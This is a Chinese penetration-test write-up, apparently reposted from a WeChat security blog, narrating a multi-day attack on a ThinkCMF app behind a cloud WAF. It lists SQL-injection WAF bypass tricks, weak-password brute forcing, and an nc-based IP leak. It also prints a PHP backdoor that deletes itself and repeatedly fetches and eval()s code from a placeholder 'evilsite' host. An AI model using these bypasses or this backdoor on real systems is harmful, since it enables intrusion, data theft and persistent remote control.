旧文重发:之前投稿到安译首发,现在重发申请一下原创。
0x00 前言
首先拿到手是一个app,放入模拟器抓包提取app核心域名+访问路径,注册账号在网页上登陆进行测试。
技术情况收集如下:目标系统框架thinkcmf,修复了日志泄露漏洞,中间件nginx,操作系统linux,有一个不知哪个厂商的cdn并附带waf。
随意测测各个功能和页面,thinkcmf这种大框架的安全性还是可以的,但是架不住没有安全意识的开发自己乱写代码。
很快我发现url中的一个【伪静态参数单引号报错】,目标开启了tp的sql调试模式,报错内容非常详细:有sql语句,配置文件里所有内容含盐,当前库名表名,当前用户在用户表中的所有字段和数据等。
既然已经有了数据库账户和密码(配置文件中),首先看能否绕过cdn找到真实ip直接连接,尝试很多方法未果,报错页面中其实也有ip相关信息,但是只有cdn的ip和一个内网ip。
放弃幻想开始手工注入,首先用一般的/*!50000*/混淆payload,当场被拦,后面进行模糊测试,观察了这个waf检测的特征与绕过方法如下:
(0)大小写混用、url、16进制编码无用
(1)过滤union select
union distinct select绕过
(2)过滤select空格
select后面的参数用引号包裹可以不加空格
(3)过滤空格from
和from挨着的那个参数用科学计数法可以不加空格
(4)过滤from空格
from{x 表名}语法绕过
(5)过滤information_schema
没能绕过,导致查不到表名列名,但还好用户表的表名和列名都在报错页面爆出来了不用查。
(6)过滤注释符/* - #
调整payload在适当的位置加括号可以不用注释
最终注出用户表数据的payload如下(联合查询,四列,2、3列回显):
然后……下班时间到了。
【今日成果】:app基本信息收集,数据库敏感信息获取,sql注入绕过waf查询用户表。
0x02 暗度陈仓(第2天)
这时的情况是,【空有一个普通权限的注入点】,不知道其他表名只能查用户表,管理员用户密码hash解不开,解开了也没用后台地址目前还没找到。
渗透陷入了僵局,于是我开始收集信息,收集到了目标的另外两个站——A站和B站(非二次元)。
【先看A站】,阿里云服务器,真实ip,没有cdn也没有waf,宝塔,dedecms,开了22和3306端口,后台地址admin,用户名admin,服务器用户名rootmysqlwww(ssh用户名枚举漏洞)。
开始测试:爆破、注入、扫目录、织梦已知漏洞等等一顿操作之后,没搞进去,放弃。
【再看B站】,有cdn,ecshop,注册账户后登陆,开始测试:前台sql注入、头像上传、留言板xss、垂直越权等等……,都没有。
不慌,一个/admin看到后台,随手一个123456……,没进去。但是发现没有验证码,挂上burp,top10000走起,弱口令成功登入。
以上行为总结:一顿操作猛如虎,一看密码三四五。
进后台找了几个上传点,全都是后缀白名单,没有包含和解析漏洞。但是惊喜的发现后台有【sql查询功能】(直接运行sql语句)和【数据库测试连接功能】。
开始测试sql查询功能,输好sql语句按回车,熟悉的waf页面又弹了出来……
重新尝试绕过,昨天的注入点是get型,这里是post型,waf的过滤规则相应有些变化。具体什么规则我没有记录,因为最后我是用:【post传参不限制长度,传递100个参数之后,第101个参数waf不会进行检测】这个方法去绕过的。前面加100个垃圾参数,之后的参数根本不用加任何混淆,堪称为所欲为。
重新开始sql查询,用户权限root,限制了文件读写目录,列库名,意外的发现商城和app竟然是旁站。
现在我不仅可以查询,还可以增删改app的数据,而且表名列名也都能查到了。
接下来尝试用数据库测试连接功能寻找真实ip:因为waf是cdn附带的,知道真实ip等于使waf失效,若3306开放还可以直接连入数据库,所以真实ip还是很有价值的。
【具体操作】:用nc在vps上监听端口,后台这边用测试连接功能发出请求,nc那边收到ip地址。
但是去访问发现该ip仅开了80端口,空白页面,修改hosts文件也没办法解析。真实ip还是没有找到,真奇怪。
容我先下个班慢慢想想怎么回事……
0x03 登堂入室(第3天)
截止第2天,我通过旁站的sql查询功能拿到了数据库root权限,但是管理员做了安全配置不能读写文件,所以还是要想办法进后台看看能不能getshell。可是目前后台地址还没有找到,常规的扫目录会被ban ip。
随意翻翻数据库,在系统配置表里翻到了一串神秘的字符串,注释写着后台加密,拿去拼到url后面试一试,竟然就跳到了后台登陆界面。
后面才知道目标有个【后台地址加密】功能,不过应该不是cmf框架原版的后台地址加密(/?g=admin&upw=加密码),可能是二次开发魔改的,所以直接拼到url后面就行了。
p"
0x04 返璞归真(第4天)
本来打算代码审计一波,结果因为意外项目结束了……
0x05 思考
【操作】:
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file ='http://www.evilsite.com/eval.txt';
while($code =file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
0x06 后记
项目戛然而止,让我失去了和这个waf对线的机会,说起来有点丢人,截止今天前我还不知道这个waf是哪家的,不过在安译Sec首发此文之后,南方师傅已经告诉我了:某云盾。
项目全程没有截图,但是waf我截过一张,放在下面了。仅以此纪念这个和我对线将近一周的对手。
END.
喵,点个赞再走吧~
本文始发于微信公众号(小黑的安全笔记):渗透实战 | 与某WAF对线三百回合
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论